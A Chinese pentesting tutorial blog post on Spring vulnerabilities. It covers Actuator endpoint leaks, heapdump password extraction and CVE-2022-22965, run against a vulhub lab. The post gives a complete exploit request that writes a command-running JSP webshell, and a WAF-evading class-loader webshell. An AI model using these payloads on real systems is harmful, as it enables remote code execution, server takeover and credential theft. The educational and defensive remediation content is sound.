巴扎嘿的入行笔记(渗透测试工程师)(十二【上】)-spring系列漏洞

作者:巴扎嘿啦啦啦 | 发布时间:

相关声明

本文内容仅为技术科普,请勿用于非法用途,本人概不负责,后果自负。

我也是入行6个月的菜b,文章内容有问题请及时指正,感谢!

 

一.spring是什么?

参考链接:https://blog.csdn.net/weixin_46486966/article/details/106993220

Spring7142b8354c172909

是一个体系,包括spring boot,spring framenwork ,spring cloud等。由于它自身并非容器,所以基本上不得不随JavaEE容器启动而装载,例如Tomcat、Jetty、JBoss等。

b6c31d01d4173030

Spring Framework是一个一站式轻量级的java开发框架,是一切的基石。

 

Spring Boot是基于Spring Framework的框架,集成了绝大部分目前流行的开发框架,就像Maven集成了所有的JAR包一样,Spring Boot集成了几乎所有的框架,使得开发者能快速搭建Spring项目。

 

Spring Cloud是一整套基于Spring Boot的微服务解决方案,但是Spring Cloud更关注的是全局微服务的整合和管理,相当于管理多个Spring Boot框架的单体微服务。

 

其余的就不做介绍了。

二.如何判断是spring系列

注:很多spring会在很深的目录里,比如https://x.x.x.x:8080/asd/asda/123/才会发现有个报错页面时springboot的,直接访问https://x.x.x.x:8080是啥都没有的,那么就需要一个插件findsomething,然后里面有一些目录都可以去访问着看看(其实也可以爆破插件里的内容)

05266877d7173427

 

(1看报错页面

1ed045465c173434

 

(2看icon

95106a90f4173438

 

(3插件,指纹识别等三方判断

 

560d4514bc173442

 

三.漏洞测试

试验准备:docker环境+vulhub部署(部署细节自己搜一搜)+春秋云镜+vulfocus等靶场(第一步先测接口泄露:

漏洞名称:SpringBoot接口信息泄露

漏洞级别:(中危-严重)根据泄露的东西不同级别不同

漏洞URL:x.x.x.x

漏洞风险:在 Springboot启用的情况下,如果没有做好相关权限控制,非法用户可通过访

                  问默认的执行器端点(endpoints)来获取应用系统中的监控信息;可通过访问/trace 路径

                  获取用户认证字段信息;可能通过其/env 路径获得 mysql、mongodb 的用户名及密码;访

                  问其/health路径可探测到站点 git 项目地址,导致泄露源码;访问/heapdump 路径会泄

                  露站点内存信息,可能会包含后台用户的账号密码等。

漏洞描述: Springboot用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开

                   发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况

                   下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来

                   获取应用系统中的监控信息。

解决方案:Spring Boot禁用所有接口。比如要禁用/env接口,则可设置如endpoints.env

                  .enabled= false如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:

                   endpoints.enabled = falseendpoints.metrics.enabled = true

漏洞验证:

 

1 使用SpringScan-main工具进行目录扫描,有能访问的结果挨个点进去看看,看看有没有泄露接口,有就算漏洞(中危保底),接口可以点进去bp改改参数看看有没有其他的。

1e1b1bee9a174043

 

 

 

2 这个具体的我就不写太多了,因为springboot集成了很多框架,其实这个接口泄露能写

多,比如swagger-ui接口泄露,druid接口泄露等,说一个我知道的如何升级为高危漏洞的

方法,泄露的路径里有个heapdump的路径,访问会下载一个heapdump文件,然后用

heapdump_tool.jar解析这个文件,搜索关键字“password”等,有机会随机获得数据库用户密

码,这样就可以算个高危了。

914fbb519f174047

4d7cf33471174051

124d35f05e174208

 

(2参考链接:https://blog.csdn.net/laobanjiull/article/details/124054250,https://blog.csdn.net/KeJiGuaiKa/article/details/126642374

漏洞名称:CVE-2022-22965 Spring Framework远程代码执行漏洞

漏洞级别:高危

漏洞风险:黑客可以利用该漏洞进行rce,攻击者可以直接获取服务器权限;来读取敏感数据、 文件并写入写 入     恶意文件getshell。

漏洞描述:Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开       发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行             (RCE) 的攻击。

解决方案:

  • 在应用中全局搜索@InitBinder注解,看看方法体内是否调用setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加);
  • 部署waf进行关键字过滤;
  • 升级至最新的版本。

漏洞验证:

 

1 进行vulhub该 CVE-2022-22965的部署,如图所示:

72dab1b527174646

 

2 访问该页面,发现(发现过程见前面2节)为spring ,抓包修改内容为poc包,如图所示:

2d09fce4f8174917

 

796f24079f174657

 

Poc:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 172.17.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

 

 

3 访问传入的jsp码,上传成功,访问http://172.17.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami,页面返回root证明成功。

 

0d48488352175012

8a3374848f175017

解释一下poc核心代码,具体详细请参考漏洞开始之前的链接。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=  //shell内容

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&  //文件后缀

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&   //写入路径

class.module.classLoader.resources.context.parent.pipeline.first.prefix=k3rwin&  //文件名

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=  //可空

 

补充一个绕大多数waf的马,这个就写道”shell内容“的地方就行

%{e1}i!

class U extends ClassLoader

{

    U(ClassLoader c)

    {super(c);}

    public Class g(byte[] b)

    {return super.defineClass(b, 0, b.length);}

}

public byte[] base64Decode(String str) throws Exception

{try {Class clazz = Class.forName("sun.misc.BASE64Decoder");

    return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);}

    catch (Exception e) { Class clazz = Class.forName("java.util.Base64");

    Object decoder = clazz.getMethod("getDecoder").invoke(null);

    return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}

    %{e2}i %{e1}iString cls = request.getParameter("k3rwin");

    if (cls != null)

    {

        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%{e2}i&

 

 

 

标签:漏洞分享